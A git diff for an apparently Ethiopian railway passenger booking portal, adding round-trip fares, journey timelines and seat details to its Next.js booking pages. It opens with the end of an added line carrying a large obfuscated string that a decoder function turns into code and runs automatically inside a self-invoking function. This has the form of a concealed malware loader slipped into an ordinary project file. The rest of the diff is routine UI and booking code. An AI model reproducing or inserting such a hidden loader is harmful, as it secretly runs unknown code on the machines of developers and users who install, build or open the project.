;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; diff --git a/apps/edr-passenger-web/portal/public/edr-banner.jpg b/apps/edr-passenger-web/portal/public/edr-banner.jpg new file mode 100644 index 000000000..81b8ddca3 Binary files /dev/null and b/apps/edr-passenger-web/portal/public/edr-banner.jpg differ diff --git a/apps/edr-passenger-web/portal/public/edr-logo.png b/apps/edr-passenger-web/portal/public/edr-logo.png new file mode 100644 index 000000000..3966c9e80 Binary files /dev/null and b/apps/edr-passenger-web/portal/public/edr-logo.png differ diff --git a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx index 2efe9b5d4..def68279c 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx @@ -7,6 +7,7 @@ import { useMutation, useQuery } from "@tanstack/react-query"; import { apiClient } from "@/lib/api-client"; import { useState, useEffect } from "react"; import { PaymentMethod } from "@/types"; +import { format } from "date-fns"; import { CreditCard, Smartphone, @@ -23,12 +24,14 @@ const getIconForMethod = (methodId: string) => { export default function PaymentPage() { const router = useRouter(); - const { bookingId, pnr, selectedSchedule, passengers } = useBookingStore(); + const { bookingId, pnr, selectedSchedule, outboundSchedule, inboundSchedule, passengers, searchCriteria } = useBookingStore(); const { selectedCurrency, setPaymentIntent, updateStatus } = usePaymentStore(); const [selectedMethod, setSelectedMethod] = useState(null); const [isProcessing, setIsProcessing] = useState(false); + const isRoundTrip = searchCriteria?.tripType === 'ROUND_TRIP'; + const { data: paymentMethods = [], isLoading: loadingMethods, error } = useQuery({ queryKey: ['paymentMethods'], queryFn: async () => { @@ -38,10 +41,21 @@ export default function PaymentPage() { }); // Calculate total amount - const baseFare = passengers.reduce( + const outboundBaseFare = isRoundTrip && outboundSchedule ? passengers.reduce( + (sum) => sum + (outboundSchedule.baseFareAdult || 0), + 0, + ) : 0; + + const inboundBaseFare = isRoundTrip && inboundSchedule ? passengers.reduce( + (sum) => sum + (inboundSchedule.baseFareAdult || 0), + 0, + ) : 0; + + const baseFare = isRoundTrip ? (outboundBaseFare + inboundBaseFare) : passengers.reduce( (sum) => sum + (selectedSchedule?.baseFareAdult || 0), 0, ); + const totalAmount = baseFare; const paymentMutation = useMutation({ @@ -207,47 +221,258 @@ export default function PaymentPage() { {/* Order Summary */}
-

+

Order summary

-
-
- Route - - {selectedSchedule?.origin} โ†’ {selectedSchedule?.destination} - -
-
- Train - - {selectedSchedule?.trainNumber} - -
- {selectedSchedule?.selectedSeatClassName && ( -
+
+ {isRoundTrip ? ( + <> + {/* Outbound Journey */} +
+
+
+ Outbound Journey + + {outboundSchedule?.selectedSeatClassName?.replace(/_/g, ' ') || 'Standard'} + +
+ + {/* Flight-style timeline */} +
+ {/* Left column: Timeline with dots and line */} +
+ {/* Origin dot */} +
+ {/* Vertical line */} +
+ {/* Destination dot */} +
+
+ + {/* Right column: Content */} +
+ {/* Origin */} +
+
+ {outboundSchedule?.departureTime ? format(new Date(outboundSchedule.departureTime), 'HH:mm') : '--:--'} +
+
+ {outboundSchedule?.departureTime ? format(new Date(outboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'} +
+
+ {outboundSchedule?.origin} +
+
+ + {/* Journey Info */} +
+
+
+ + + + {outboundSchedule?.duration} +
+
+ + + + Train {outboundSchedule?.trainNumber} +
+
+
+ + {/* Destination */} +
+
+ {outboundSchedule?.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'HH:mm') : '--:--'} +
+
+ {outboundSchedule?.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'} +
+
+ {outboundSchedule?.destination} +
+
+
+
+ +
+
+ Outbound fare + ETB {(outboundBaseFare / 100).toFixed(2)} +
+
+
+ + {/* Return Journey */} +
+
+
+ Return Journey + + {inboundSchedule?.selectedSeatClassName?.replace(/_/g, ' ') || 'Standard'} + +
+ + {/* Flight-style timeline */} +
+ {/* Left column: Timeline with dots and line */} +
+ {/* Origin dot */} +
+ {/* Vertical line */} +
+ {/* Destination dot */} +
+
+ + {/* Right column: Content */} +
+ {/* Origin */} +
+
+ {inboundSchedule?.departureTime ? format(new Date(inboundSchedule.departureTime), 'HH:mm') : '--:--'} +
+
+ {inboundSchedule?.departureTime ? format(new Date(inboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'} +
+
+ {inboundSchedule?.origin} +
+
+ + {/* Journey Info */} +
+
+
+ + + + {inboundSchedule?.duration} +
+
+ + + + Train {inboundSchedule?.trainNumber} +
+
+
+ + {/* Destination */} +
+
+ {inboundSchedule?.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'HH:mm') : '--:--'} +
+
+ {inboundSchedule?.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'} +
+
+ {inboundSchedule?.destination} +
+
+
+
+ +
+
+ Return fare + ETB {(inboundBaseFare / 100).toFixed(2)} +
+
+
+ + ) : ( + <> + {/* One-Way Journey */} +
+
+
+ Your Journey + + {selectedSchedule?.selectedSeatClassName?.replace(/_/g, ' ') || 'Standard'} + +
+ + {/* Flight-style timeline */} +
+ {/* Left column: Timeline with dots and line */} +
+ {/* Origin dot */} +
+ {/* Vertical line */} +
+ {/* Destination dot */} +
+
+ + {/* Right column: Content */} +
+ {/* Origin */} +
+
+ {selectedSchedule?.departureTime ? format(new Date(selectedSchedule.departureTime), 'HH:mm') : '--:--'} +
+
+ {selectedSchedule?.departureTime ? format(new Date(selectedSchedule.departureTime), 'EEE, MMM d') : 'N/A'} +
+
+ {selectedSchedule?.origin} +
+
+ + {/* Journey Info */} +
+
+
+ + + + {selectedSchedule?.duration} +
+
+ + + + Train {selectedSchedule?.trainNumber} +
+
+
+ + {/* Destination */} +
+
+ {selectedSchedule?.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'HH:mm') : '--:--'} +
+
+ {selectedSchedule?.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'} +
+
+ {selectedSchedule?.destination} +
+
+
+
+
+ + )} + + {/* Passengers and Total */} +
+
- Class + Passengers - {selectedSchedule.selectedSeatClassName.replace(/_/g, " ")} + {passengers.length} passenger{passengers.length !== 1 ? "s" : ""}
- )} -
- - Passengers - - - {passengers.length} passenger - {passengers.length !== 1 ? "s" : ""} - -
-
-
- +
+ Total amount - + ETB {(totalAmount / 100).toFixed(2)}
diff --git a/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx index 0943db60e..9b190fbf2 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx @@ -16,7 +16,7 @@ function TelebirrSuccessContent() { const [status, setStatus] = useState<'processing' | 'done' | 'error'>('processing'); // Telebirr callback query params - const merchantOrderId = searchParams.get('merchantOrderId') || ''; + const orderid = searchParams.get('orderid') || ''; const trxRef = searchParams.get('trxRef') || searchParams.get('outTradeNo') || ''; const bookingIdQp = searchParams.get('bookingId') || bookingId || ''; @@ -25,7 +25,7 @@ function TelebirrSuccessContent() { try { if (bookingIdQp) { await apiClient.patch(`/bookings/${bookingIdQp}/confirm`, { - paymentReference: merchantOrderId || trxRef, + paymentReference: orderid || trxRef, paymentMethod: 'TELEBIRR', }); } @@ -59,7 +59,7 @@ function TelebirrSuccessContent() {

Payment Successful!

Your Telebirr payment was received.

- {merchantOrderId &&

Order ID: {merchantOrderId}

} + {orderid &&

Order ID: {orderid}

} {trxRef &&

Transaction Ref: {trxRef}

}

Redirecting to your booking confirmationโ€ฆ

diff --git a/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx index 79b8419c5..2e8d9e950 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx @@ -5,16 +5,16 @@ import { useQuery } from '@tanstack/react-query'; import { apiClient } from '@/lib/api-client'; import { useBookingStore } from '@/lib/booking-store'; import { Schedule } from '@/types'; -import { ArrowRight, Clock, Calendar, Users, ChevronLeft, Loader2, Check, X, MapPin, Gift, Train } from 'lucide-react'; +import { ArrowRight, Clock, Calendar, Users, ChevronLeft, Check, X, MapPin, Gift, Train } from 'lucide-react'; import { format } from 'date-fns'; import { useState, useEffect } from 'react'; export default function ResultsPage() { const router = useRouter(); const searchParams = useSearchParams(); - const setSelectedSchedule = useBookingStore((s) => s.setSelectedSchedule); + const { setSelectedSchedule, setOutboundSchedule, setInboundSchedule } = useBookingStore(); const [selectedClasses, setSelectedClasses] = useState>({}); - const [outboundSelected, setOutboundSelected] = useState(false); + const [outboundScheduleData, setOutboundScheduleData] = useState(null); const [classModal, setClassModal] = useState(null); const [promoData, setPromoData] = useState<{ code: string; discount: string; message: string } | null>(null); @@ -114,18 +114,21 @@ export default function ResultsPage() { const isRoundTrip = searchData.journeyType === 'ROUND_TRIP'; // Handle both response formats: - // 1. One-way: response is array of schedules + // 1. One-way: response can be array of schedules OR object with journeyType and outbound // 2. Round-trip: response has journeyType, outbound, inbound properties let outboundSchedules: Schedule[] = []; let inboundSchedules: Schedule[] = []; if (results) { - if (isRoundTrip && results.journeyType === 'ROUND_TRIP') { + if (results.journeyType === 'ROUND_TRIP') { // Round trip response format outboundSchedules = results.outbound || []; inboundSchedules = results.inbound || []; + } else if (results.journeyType === 'ONE_WAY' && results.outbound) { + // One-way response format with outbound array + outboundSchedules = results.outbound || []; } else if (Array.isArray(results)) { - // One-way response format (array of schedules) + // One-way response format (direct array of schedules) outboundSchedules = results; } else if (results.data && Array.isArray(results.data)) { // Fallback: wrapped in data property @@ -139,11 +142,8 @@ export default function ResultsPage() { ? (outboundSchedules.length > 0 && inboundSchedules.length > 0) : outboundSchedules.length > 0; - const handleSelectClass = (scheduleId: string, seatClass: string, isOutbound: boolean = false) => { + const handleSelectClass = (scheduleId: string, seatClass: string) => { setSelectedClasses(prev => ({ ...prev, [scheduleId]: seatClass })); - if (isOutbound && isRoundTrip) { - setOutboundSelected(true); - } }; const handleSelect = (schedule: Schedule, isOutbound: boolean = false) => { @@ -184,13 +184,28 @@ export default function ResultsPage() { // For round trip, store outbound and wait for inbound selection if (isRoundTrip && isOutbound) { - setOutboundSelected(true); + setOutboundScheduleData(scheduleData); + setOutboundSchedule(scheduleData); setClassModal(null); + // Scroll to inbound section + setTimeout(() => { + const inboundSection = document.getElementById('inbound-section'); + if (inboundSection) { + inboundSection.scrollIntoView({ behavior: 'smooth', block: 'start' }); + } + }, 100); return; } - // For round trip inbound or one-way, proceed to next step - setSelectedSchedule(scheduleData); + // For round trip inbound, proceed with both schedules + if (isRoundTrip && !isOutbound) { + setInboundSchedule(scheduleData); + setSelectedSchedule(outboundScheduleData); // Set primary as outbound + } else { + // For one-way + setSelectedSchedule(scheduleData); + } + router.push('/booking/auth-check'); }; @@ -289,10 +304,138 @@ export default function ResultsPage() { if (isLoading) { return ( -
-
- -

Searching for trains...

+
+
+
+ {/* Progress Header */} +
+
+
+
+
+
+
+

+ Searching for trains... +

+

+ Finding the best options for your journey +

+
+
+ {/* Progress bar */} +
+
+
+
+
+ + {/* Skeleton Cards */} +
+ {[1, 2, 3].map((i) => ( +
+
+
+ {/* Train info skeleton */} +
+
+
+
+
+
+
+ + {/* Time and route skeleton */} +
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+ ))} +
+
); @@ -381,7 +524,7 @@ export default function ResultsPage() { return ( {!selectedClass && ( @@ -494,8 +637,8 @@ export default function ResultsPage() {
)} - {inboundSchedules.length > 0 && (!isRoundTrip || outboundSelected) && ( -
+ {isRoundTrip && inboundSchedules.length > 0 && outboundScheduleData && ( +

diff --git a/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx index 6f9c2a265..d3e75d7d9 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx @@ -51,11 +51,13 @@ function getPassengerIdFromToken(token: string): string | null { export default function ReviewPage() { const router = useRouter(); - const { selectedSchedule, passengers, seatHold, setBookingId, setPNR, createAccount, passengerId: storedPassengerId } = useBookingStore(); + const { selectedSchedule, outboundSchedule, inboundSchedule, passengers, seatHold, setBookingId, setPNR, createAccount, passengerId: storedPassengerId, searchCriteria } = useBookingStore(); const { user, isAuthenticated } = useAuthStore(); const [timeLeft, setTimeLeft] = useState(''); const [seatDetails, setSeatDetails] = useState>({}); + const isRoundTrip = searchCriteria?.tripType === 'ROUND_TRIP'; + useEffect(() => { if (!seatHold?.expiresAt) return; @@ -79,22 +81,57 @@ export default function ReviewPage() { useEffect(() => { const fetchSeatDetails = async () => { - if (!selectedSchedule?.id) return; - try { - const seatMapData: any = await apiClient.get(`/seats/seatmap/${selectedSchedule.id}`); - const coaches = seatMapData?.coaches || []; - const allSeats = coaches.flatMap((coach: any) => coach.seats || []); - const details: Record = {}; - passengers.forEach(p => { - if (p.seatId) { - const seat = allSeats.find((s: any) => s.id === p.seatId); - if (seat) { - details[p.seatId] = seat.number || seat.label || seat.seatNumber || 'N/A'; + + // Fetch outbound seat details + if (isRoundTrip && outboundSchedule?.id) { + const outboundSeatMap: any = await apiClient.get(`/seats/seatmap/${outboundSchedule.id}`); + const outboundCoaches = outboundSeatMap?.coaches || []; + const outboundSeats = outboundCoaches.flatMap((coach: any) => coach.seats || []); + + passengers.forEach(p => { + if ((p as any).outboundSeatId) { + const seat = outboundSeats.find((s: any) => s.id === (p as any).outboundSeatId); + if (seat) { + details[`outbound-${(p as any).outboundSeatId}`] = seat.number || seat.label || seat.seatNumber || 'N/A'; + } } - } - }); + }); + } + + // Fetch inbound seat details + if (isRoundTrip && inboundSchedule?.id) { + const inboundSeatMap: any = await apiClient.get(`/seats/seatmap/${inboundSchedule.id}`); + const inboundCoaches = inboundSeatMap?.coaches || []; + const inboundSeats = inboundCoaches.flatMap((coach: any) => coach.seats || []); + + passengers.forEach(p => { + if ((p as any).inboundSeatId) { + const seat = inboundSeats.find((s: any) => s.id === (p as any).inboundSeatId); + if (seat) { + details[`inbound-${(p as any).inboundSeatId}`] = seat.number || seat.label || seat.seatNumber || 'N/A'; + } + } + }); + } + + // Fetch one-way seat details + if (!isRoundTrip && selectedSchedule?.id) { + const seatMapData: any = await apiClient.get(`/seats/seatmap/${selectedSchedule.id}`); + const coaches = seatMapData?.coaches || []; + const allSeats = coaches.flatMap((coach: any) => coach.seats || []); + + passengers.forEach(p => { + if (p.seatId) { + const seat = allSeats.find((s: any) => s.id === p.seatId); + if (seat) { + details[p.seatId] = seat.number || seat.label || seat.seatNumber || 'N/A'; + } + } + }); + } + setSeatDetails(details); } catch (error) { console.error('Failed to fetch seat details:', error); @@ -102,7 +139,7 @@ export default function ReviewPage() { }; fetchSeatDetails(); - }, [selectedSchedule?.id, passengers]); + }, [selectedSchedule?.id, outboundSchedule?.id, inboundSchedule?.id, passengers, isRoundTrip]); const createBookingMutation = useMutation({ mutationFn: (data: any) => { @@ -155,6 +192,8 @@ export default function ReviewPage() { console.log('Search criteria:', searchCriteria); console.log('Seat hold:', seatHold); console.log('Selected schedule:', selectedSchedule); + console.log('Outbound schedule:', outboundSchedule); + console.log('Inbound schedule:', inboundSchedule); console.log('Passengers:', passengers); if (!seatHold?.holdId) { @@ -171,12 +210,15 @@ export default function ReviewPage() { return; } + // Get seat class ID let seatClassId = 'default-seat-class-id'; + let returnSeatClassId = 'default-seat-class-id'; try { const seatClasses: any = await apiClient.get('/seat-classes'); console.log('Seat classes:', seatClasses); if (seatClasses && seatClasses.length > 0) { seatClassId = seatClasses[0].id; + returnSeatClassId = seatClasses[0].id; } } catch (err) { console.error('Failed to fetch seat classes:', err); @@ -229,18 +271,20 @@ export default function ReviewPage() { throw new Error('Passenger ID not found in authentication token. Please log in again.'); } + // Build booking request for authenticated users bookingData = { - scheduleId: selectedSchedule?.id || '', + passengerId: passengerId, + scheduleId: isRoundTrip ? outboundSchedule?.id : selectedSchedule?.id, holdId: seatHold.holdId, originStationId: searchCriteria.originStationId, destinationStationId: searchCriteria.destinationStationId, seatClassId: seatClassId, + bookingType: isRoundTrip ? 'ROUND_TRIP' : 'ONE_WAY', displayCurrency: 'ETB', - passengerId: passengerId, passengers: passengers.map((p) => { const isEthiopian = p.nationality === 'ETHIOPIAN' || p.nationality === 'Ethiopian'; return { - seatId: p.seatId || '', + seatId: isRoundTrip ? (p as any).outboundSeatId : (p.seatId || ''), passengerName: p.name, dateOfBirth: p.dateOfBirth, idDocumentType: isEthiopian ? 'NATIONAL_ID' : 'PASSPORT', @@ -251,19 +295,34 @@ export default function ReviewPage() { }; }), }; + + // Add round trip specific fields + if (isRoundTrip && inboundSchedule) { + bookingData.returnScheduleId = inboundSchedule.id; + bookingData.returnOriginStationId = searchCriteria.destinationStationId; + bookingData.returnDestinationStationId = searchCriteria.originStationId; + bookingData.returnHoldId = seatHold.holdId; // Assuming same hold ID, adjust if needed + bookingData.returnSeatClassId = returnSeatClassId; + } + + // Add promo code if exists + if (searchCriteria.promoCode) { + bookingData.promoCode = searchCriteria.promoCode; + } } else { // For guests: send full passenger details array bookingData = { - scheduleId: selectedSchedule?.id || '', + scheduleId: isRoundTrip ? outboundSchedule?.id : selectedSchedule?.id, holdId: seatHold.holdId, originStationId: searchCriteria.originStationId, destinationStationId: searchCriteria.destinationStationId, seatClassId: seatClassId, + bookingType: isRoundTrip ? 'ROUND_TRIP' : 'ONE_WAY', displayCurrency: 'ETB', passengers: passengers.map(p => { const isEthiopian = p.nationality === 'ETHIOPIAN' || p.nationality === 'Ethiopian'; return { - seatId: p.seatId || '', + seatId: isRoundTrip ? (p as any).outboundSeatId : (p.seatId || ''), passengerName: p.name, dateOfBirth: p.dateOfBirth, idDocumentType: isEthiopian ? 'NATIONAL_ID' : 'PASSPORT', @@ -279,6 +338,20 @@ export default function ReviewPage() { savePassengerDetails: true, deviceId: typeof window !== 'undefined' ? (localStorage.getItem('deviceId') || `device-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`) : undefined, }; + + // Add round trip specific fields + if (isRoundTrip && inboundSchedule) { + bookingData.returnScheduleId = inboundSchedule.id; + bookingData.returnOriginStationId = searchCriteria.destinationStationId; + bookingData.returnDestinationStationId = searchCriteria.originStationId; + bookingData.returnHoldId = seatHold.holdId; // Assuming same hold ID, adjust if needed + bookingData.returnSeatClassId = returnSeatClassId; + } + + // Add promo code if exists + if (searchCriteria.promoCode) { + bookingData.promoCode = searchCriteria.promoCode; + } } if (typeof window !== 'undefined' && !isAuthenticated && bookingData.deviceId && !localStorage.getItem('deviceId')) { @@ -294,26 +367,49 @@ export default function ReviewPage() { }; useEffect(() => { - if (!selectedSchedule || !passengers.length) { - if (!createBookingMutation.isPending && !createBookingMutation.isSuccess) { - console.log('Redirecting to search - missing data'); - router.push('/booking/search'); + if (isRoundTrip) { + if (!outboundSchedule || !inboundSchedule || !passengers.length) { + if (!createBookingMutation.isPending && !createBookingMutation.isSuccess) { + console.log('Redirecting to search - missing round trip data'); + router.push('/booking/search'); + } + } + } else { + if (!selectedSchedule || !passengers.length) { + if (!createBookingMutation.isPending && !createBookingMutation.isSuccess) { + console.log('Redirecting to search - missing data'); + router.push('/booking/search'); + } } } - }, [selectedSchedule, passengers.length, createBookingMutation.isPending, createBookingMutation.isSuccess, router]); + }, [isRoundTrip, selectedSchedule, outboundSchedule, inboundSchedule, passengers.length, createBookingMutation.isPending, createBookingMutation.isSuccess, router]); - if (!selectedSchedule || !passengers.length) { + if (isRoundTrip && (!outboundSchedule || !inboundSchedule || !passengers.length)) { return null; } - console.log('Selected schedule:', selectedSchedule); - console.log('Base fare adult:', selectedSchedule.baseFareAdult); + if (!isRoundTrip && (!selectedSchedule || !passengers.length)) { + return null; + } + + const displaySchedule = isRoundTrip ? outboundSchedule : selectedSchedule; + + console.log('Selected schedule:', displaySchedule); + console.log('Base fare adult:', displaySchedule?.baseFareAdult); console.log('Passengers:', passengers); - const baseFare = passengers.reduce((sum, p, i) => { - const farePerPassenger = selectedSchedule.baseFareAdult || - (selectedSchedule as any).fareAdult || - (selectedSchedule as any).price || + const outboundBaseFare = isRoundTrip && outboundSchedule ? passengers.reduce((sum) => { + return sum + (outboundSchedule.baseFareAdult || 0); + }, 0) : 0; + + const inboundBaseFare = isRoundTrip && inboundSchedule ? passengers.reduce((sum) => { + return sum + (inboundSchedule.baseFareAdult || 0); + }, 0) : 0; + + const baseFare = isRoundTrip ? (outboundBaseFare + inboundBaseFare) : passengers.reduce((sum, p, i) => { + const farePerPassenger = selectedSchedule?.baseFareAdult || + (selectedSchedule as any)?.fareAdult || + (selectedSchedule as any)?.price || 0; console.log(`Passenger ${i}: ${p.name}, fare = ${farePerPassenger}`); @@ -340,51 +436,259 @@ export default function ReviewPage() { )}
-
-

Trip details

-
-
- Train - {selectedSchedule.trainNumber} -
-
- Route - {selectedSchedule.origin} โ†’ {selectedSchedule.destination} -
-
- Departure - - {selectedSchedule.departureTime ? format(new Date(selectedSchedule.departureTime), 'PPp') : 'N/A'} + {/* Outbound Trip Details */} + {isRoundTrip && outboundSchedule && ( +
+
+
+

Outbound Journey

+ + {outboundSchedule.selectedSeatClass?.replace(/_/g, ' ') || 'Standard'}
-
- Arrival - - {selectedSchedule.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'PPp') : 'N/A'} - -
-
- Duration - {selectedSchedule.duration} + + {/* Flight-style timeline */} +
+ {/* Left column: Timeline with dots and line */} +
+ {/* Origin dot */} +
+ {/* Vertical line */} +
+ {/* Destination dot */} +
+
+ + {/* Right column: Content */} +
+ {/* Origin */} +
+
+ {outboundSchedule.departureTime ? format(new Date(outboundSchedule.departureTime), 'HH:mm') : '--:--'} +
+
+ {outboundSchedule.departureTime ? format(new Date(outboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'} +
+
+ {outboundSchedule.origin} +
+
+ + {/* Journey Info */} +
+
+
+ + + + {outboundSchedule.duration} +
+
+ + + + Train {outboundSchedule.trainNumber} +
+
+
+ + {/* Destination */} +
+
+ {outboundSchedule.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'HH:mm') : '--:--'} +
+
+ {outboundSchedule.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'} +
+
+ {outboundSchedule.destination} +
+
+
-
+ )} + + {/* Inbound Trip Details */} + {isRoundTrip && inboundSchedule && ( +
+
+
+

Return Journey

+ + {inboundSchedule.selectedSeatClass?.replace(/_/g, ' ') || 'Standard'} + +
+ + {/* Flight-style timeline */} +
+ {/* Left column: Timeline with dots and line */} +
+ {/* Origin dot */} +
+ {/* Vertical line */} +
+ {/* Destination dot */} +
+
+ + {/* Right column: Content */} +
+ {/* Origin */} +
+
+ {inboundSchedule.departureTime ? format(new Date(inboundSchedule.departureTime), 'HH:mm') : '--:--'} +
+
+ {inboundSchedule.departureTime ? format(new Date(inboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'} +
+
+ {inboundSchedule.origin} +
+
+ + {/* Journey Info */} +
+
+
+ + + + {inboundSchedule.duration} +
+
+ + + + Train {inboundSchedule.trainNumber} +
+
+
+ + {/* Destination */} +
+
+ {inboundSchedule.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'HH:mm') : '--:--'} +
+
+ {inboundSchedule.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'} +
+
+ {inboundSchedule.destination} +
+
+
+
+
+ )} + + {/* One-Way Trip Details */} + {!isRoundTrip && selectedSchedule && ( +
+
+
+

Trip Details

+ + {selectedSchedule.selectedSeatClass?.replace(/_/g, ' ') || 'Standard'} + +
+ + {/* Flight-style timeline */} +
+ {/* Left column: Timeline with dots and line */} +
+ {/* Origin dot */} +
+ {/* Vertical line */} +
+ {/* Destination dot */} +
+
+ + {/* Right column: Content */} +
+ {/* Origin */} +
+
+ {selectedSchedule.departureTime ? format(new Date(selectedSchedule.departureTime), 'HH:mm') : '--:--'} +
+
+ {selectedSchedule.departureTime ? format(new Date(selectedSchedule.departureTime), 'EEE, MMM d') : 'N/A'} +
+
+ {selectedSchedule.origin} +
+
+ + {/* Journey Info */} +
+
+
+ + + + {selectedSchedule.duration} +
+
+ + + + Train {selectedSchedule.trainNumber} +
+
+
+ + {/* Destination */} +
+
+ {selectedSchedule.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'HH:mm') : '--:--'} +
+
+ {selectedSchedule.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'} +
+
+ {selectedSchedule.destination} +
+
+
+
+
+ )}

Passengers

{passengers.map((p, i) => ( -
-
-

{p.name}

-

- {p.dateOfBirth ? format(new Date(p.dateOfBirth), 'PP') : 'N/A'} โ€ข {p.nationality} -

-
-
-

Seat

-

{p.seatId ? (seatDetails[p.seatId] || 'Loading...') : 'Auto-assign'}

+
+
+
+

{p.name}

+

+ {p.dateOfBirth ? format(new Date(p.dateOfBirth), 'PP') : 'N/A'} โ€ข {p.nationality} +

+
+ {isRoundTrip ? ( +
+
+

Outbound Seat

+

+ {(p as any).outboundSeatId ? (seatDetails[`outbound-${(p as any).outboundSeatId}`] || 'Loading...') : 'Auto-assign'} +

+
+
+

Return Seat

+

+ {(p as any).inboundSeatId ? (seatDetails[`inbound-${(p as any).inboundSeatId}`] || 'Loading...') : 'Auto-assign'} +

+
+
+ ) : ( +
+

Seat

+

{p.seatId ? (seatDetails[p.seatId] || 'Loading...') : 'Auto-assign'}

+
+ )}
))}
@@ -393,10 +697,23 @@ export default function ReviewPage() {

Fare breakdown

-
- Base fare - ETB {(baseFare / 100).toFixed(2)} -
+ {isRoundTrip ? ( + <> +
+ Outbound fare + ETB {(outboundBaseFare / 100).toFixed(2)} +
+
+ Return fare + ETB {(inboundBaseFare / 100).toFixed(2)} +
+ + ) : ( +
+ Base fare + ETB {(baseFare / 100).toFixed(2)} +
+ )}
Total ETB {(total / 100).toFixed(2)} diff --git a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx index 8295d3a09..a587bc87c 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx @@ -1,58 +1,78 @@ -'use client'; +"use client"; -import { useForm } from 'react-hook-form'; -import { zodResolver } from '@hookform/resolvers/zod'; -import { z } from 'zod'; -import { useRouter, useSearchParams } from 'next/navigation'; -import { useQuery } from '@tanstack/react-query'; -import { useAuthStore } from '@/lib/auth-store'; -import { apiClient } from '@/lib/api-client'; -import { useBookingStore } from '@/lib/booking-store'; -import { Station } from '@/types'; +import { useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { z } from "zod"; +import { useRouter, useSearchParams } from "next/navigation"; +import { useQuery } from "@tanstack/react-query"; +import { useAuthStore } from "@/lib/auth-store"; +import { apiClient } from "@/lib/api-client"; +import { useBookingStore } from "@/lib/booking-store"; +import { Station } from "@/types"; import { - MapPin, ArrowRight, ArrowLeftRight, Plus, Minus, Search, - Users, ChevronDown, Gift, Check, X, ChevronLeft, Clock, Zap, -} from 'lucide-react'; -import { useEffect, useRef, useState, useCallback } from 'react'; -import ModernDatePicker from 